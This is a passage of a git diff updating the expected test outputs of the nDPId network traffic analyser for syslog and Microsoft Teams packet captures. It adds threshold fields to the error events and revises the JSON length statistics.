bnZwbnRlYy5ldHJhLWlkLmNvbSIsICJycnR5cGUiOiAiQSIsICJyY29kZSI6ICJOT0VSUk9SIiwgImFuc3c="} 00562{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":89,"source":"syslog.pcap","alias":"nDPId-test","packets-captured":89,"packets-processed":82,"total-skipped-flows":0,"total-l4-payload-len":11419,"total-not-detected-flows":2,"total-guessed-flows":0,"total-detected-flows":15,"total-detection-updates":0,"total-updates":10,"current-active-flows":1,"total-active-flows":17,"total-idle-flows":16,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":124,"global_ts_usec":1646781267422628} 00754{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"syslog.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1646781267422628,"flow_src_last_pkt_time":1646781267422628,"flow_dst_last_pkt_time":1646781267422628,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":91,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":91,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":91,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1646781267422628,"l3_proto":"ip4","src_ip":"10.94.232.21","dst_ip":"10.94.150.21","src_port":57374,"dst_port":514,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -146,6 +146,6 @@ ~~ total memory freed........: 6072253 bytes ~~ total allocations/frees...: 121782/121782 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 184 chars +~~ json string min len.......: 277 chars ~~ json string max len.......: 2202 chars -~~ json string avg len.......: 1187 chars +~~ json string avg len.......: 1233 chars diff --git a/test/results/teams.pcap.out b/test/results/teams.pcap.out index 081218874..d0fbf2c82 100644 --- a/test/results/teams.pcap.out +++ b/test/results/teams.pcap.out @@ -3,20 +3,20 @@ 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041672419153,"flow_src_last_pkt_time":1587041672419153,"flow_dst_last_pkt_time":1587041672419153,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":279,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":279,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":279,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041672419153,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00877{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1587041672419153,"flow_dst_last_pkt_time":1587041672419153,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"thread_ts_usec":1587041672419153,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzES1AAEARZ+TAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGABgr52AAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} 00937{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041672419153,"flow_src_last_pkt_time":1587041672419153,"flow_dst_last_pkt_time":1587041672419153,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":279,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":279,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":279,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041672419153,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DHCP","proto_id":"18","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"tl-sg116e","dhcp": {"fingerprint":"1,3","class_ident":"TL-SG116E"}}} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041672611330} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041672611330,"packet_id":2,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041672611330} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041672419153,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00750{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"teams.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041673094451,"flow_src_last_pkt_time":1587041673094451,"flow_dst_last_pkt_time":1587041673094451,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1587041673094451,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"149.154.167.91","src_port":58533,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00521{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"teams.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1587041673094451,"flow_dst_last_pkt_time":1587041673094451,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041673094451,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPCDAqAEGlZqnW+SlAbsZTPC7DAoX94ARECZ4MwAAAQEICjCEirAtAPMf"} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":4,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041673412435} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041673412435,"packet_id":4,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041673412435} 00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041673094451,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041673611235} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041673611235,"packet_id":5,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041673611235} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041673094451,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":6,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041674611244} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041674611244,"packet_id":6,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041674611244} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041673094451,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00521{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"teams.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_src_last_pkt_time":1587041675216685,"flow_dst_last_pkt_time":1587041673094451,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041675216685,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPCDAqAEGlZqnW+SlAbsZTPC7DAoX94ARECZv6wAAAQEICjCEkvgtAPMf"} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":8,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041675409077} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041675409077,"packet_id":8,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041675409077} 00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041675216685,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":9,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041675611218} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041675611218,"packet_id":9,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041675611218} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":9,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041675216685,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00749{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"teams.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041675997451,"flow_src_last_pkt_time":1587041675997451,"flow_dst_last_pkt_time":1587041675997451,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":51,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":51,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":51,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041675997451,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60813,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00557{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"teams.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1587041675997451,"flow_dst_last_pkt_time":1587041675997451,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"thread_ts_usec":1587041675997451,"pkt":"EBMx8Tl2KDc3AG3ICABFAABPKfkAAP8RDk3AqAEGwKgBAe2NADUAO4czzp0BAAABAAAAAAAAFHNreXBlZGF0YXByZGNvbG5ldTA0CGNsb3VkYXBwA25ldAAAAQAB"} @@ -37,7 +37,7 @@ 01944{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":47,"source":"teams.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1587041676435900,"flow_src_last_pkt_time":1587041676535873,"flow_dst_last_pkt_time":1587041676535853,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":258,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":757,"flow_dst_tot_l4_payload_len":10509,"midstream":0,"thread_ts_usec":1587041676535873,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60533,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":2,"avg":6449.2,"max":29755,"stddev":8827.8,"var":77930416.0,"ent":3.7,"data": [12466,12563,1399,13862,1628,233,14289,254,250,114,2,99,4851,16541,1120,12847,339,301,11408,365,232,23032,26,11077,443,29285,29755,471,122,15,537]},"pktlen": {"min":40,"avg":393.9,"max":1492,"stddev":548.1,"var":300365.6,"ent":3.9,"data": [64,52,40,250,46,1492,1492,40,1492,40,1492,257,40,198,46,366,40,109,40,133,78,298,78,46,40,46,556,40,1492,1492,671,40]},"bins": {"c_to_s": [10,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [5,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,0,0]},"directions": [0,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,1,1,1,0],"entropies": [4.365527153,4.946223736,4.521928787,5.447622776,4.609350681,7.356091499,7.445232391,4.680641174,7.544306755,4.571928501,7.621133804,7.081102371,4.630641460,6.624766827,4.609350681,7.169972897,4.680641174,6.030838013,4.630641460,6.150182247,5.105917454,7.025798798,5.428217888,4.565872192,4.680641174,4.565872192,7.556540489,4.680641174,7.827769756,7.840335846,7.703694820,4.680641174]}} 01383{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":47,"source":"teams.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1587041676435900,"flow_src_last_pkt_time":1587041676535873,"flow_dst_last_pkt_time":1587041676535853,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":258,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":757,"flow_dst_tot_l4_payload_len":10509,"midstream":0,"thread_ts_usec":1587041676535873,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60533,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"teams.microsoft.com","tls": {"version":"TLSv1.2","server_names":"teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"0f14538e1c9070becdad7739c67d6363","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=teams.microsoft.com","alpn":"h2,http\/1.1","fingerprint":"68:1E:E8:3C:83:70:6F:E3:86:F4:E8:8C:C4:E6:A0:9A:3E:E0:9C:0E"}}} 01709{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":59,"source":"teams.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":4,"flow_first_seen":1587041676362386,"flow_src_last_pkt_time":1587041676545644,"flow_dst_last_pkt_time":1587041676545713,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":174,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":174,"flow_dst_tot_l4_payload_len":4203,"midstream":0,"thread_ts_usec":1587041676545713,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60532,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":64,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041676611249} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041676611249,"packet_id":64,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041676611249} 00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":64,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041676592590,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00747{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"teams.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041676612882,"flow_src_last_pkt_time":1587041676612882,"flow_dst_last_pkt_time":1587041676612882,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041676612882,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.5","src_port":60534,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00540{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"teams.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_src_last_pkt_time":1587041676612882,"flow_dst_last_pkt_time":1587041676612882,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"thread_ts_usec":1587041676612882,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4fAqAEGKH4JBex2AbukS07pAAAAALAC\/\/+ZfQAAAgQFtAEDAwUBAQgKMISYYwAAAAAEAgAA"} @@ -62,10 +62,10 @@ 01937{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":219,"source":"teams.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1587041677243705,"flow_src_last_pkt_time":1587041677297348,"flow_dst_last_pkt_time":1587041677349666,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1440,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":3034,"flow_dst_tot_l4_payload_len":8925,"midstream":0,"thread_ts_usec":1587041677349666,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60536,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":3,"avg":5148.5,"max":50397,"stddev":9740.5,"var":94877928.0,"ent":3.3,"data": [11421,11522,225,11256,2751,92,13830,124,124,124,3,141,4803,15532,11803,1342,15,233,10,306,235,4,56,10886,31,10351,1699,244,14,50397,30]},"pktlen": {"min":40,"avg":416.0,"max":1492,"stddev":569.7,"var":324516.5,"ent":3.8,"data": [64,52,40,254,46,1492,1492,40,1492,40,1492,257,40,198,46,133,366,109,40,40,78,1480,1047,124,46,78,40,46,46,46,1492,1055]},"bins": {"c_to_s": [8,1,2,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0],"s_to_c": [7,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,5,0,0]},"directions": [0,1,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1],"entropies": [4.396777153,4.893245220,4.571928501,5.470339298,4.549461365,7.348021507,7.445699215,4.680641174,7.531925678,4.571928501,7.607865810,7.056878567,4.680641174,6.474961758,4.505983353,6.083388805,7.209881783,5.879484177,4.680641174,4.630641460,5.102818012,7.881052494,7.824805737,6.119441986,4.457919598,5.412868977,4.630641460,4.565872192,4.565871716,4.522393703,7.843515396,7.832207680]}} 01385{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":219,"source":"teams.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1587041677243705,"flow_src_last_pkt_time":1587041677297348,"flow_dst_last_pkt_time":1587041677349666,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1440,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":3034,"flow_dst_tot_l4_payload_len":8925,"midstream":0,"thread_ts_usec":1587041677349666,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60536,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"teams.microsoft.com","tls": {"version":"TLSv1.2","server_names":"teams.microsoft.com","ja3":"74d5fa154a7fc0a7c655d8eaa34b89bf","ja3s":"0f14538e1c9070becdad7739c67d6363","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=teams.microsoft.com","alpn":"h2,http\/1.1","fingerprint":"68:1E:E8:3C:83:70:6F:E3:86:F4:E8:8C:C4:E6:A0:9A:3E:E0:9C:0E"}}} 00507{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"teams.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_src_last_pkt_time":1587041677380886,"flow_dst_last_pkt_time":1587041673094451,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1587041677380886,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGPCzAqAEGlZqnW+SlAbsZTPC8DAoX91AUECaMmwAA"} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":607,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041677408485} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041677408485,"packet_id":607,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041677408485} 00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":607,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041677401264,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00879{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1587041677422728,"flow_dst_last_pkt_time":1587041672419153,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"thread_ts_usec":1587041677422728,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzES5AAEARZ+PAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGADtdrMEAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":617,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041677611261} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041677611261,"packet_id":617,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041677611261} 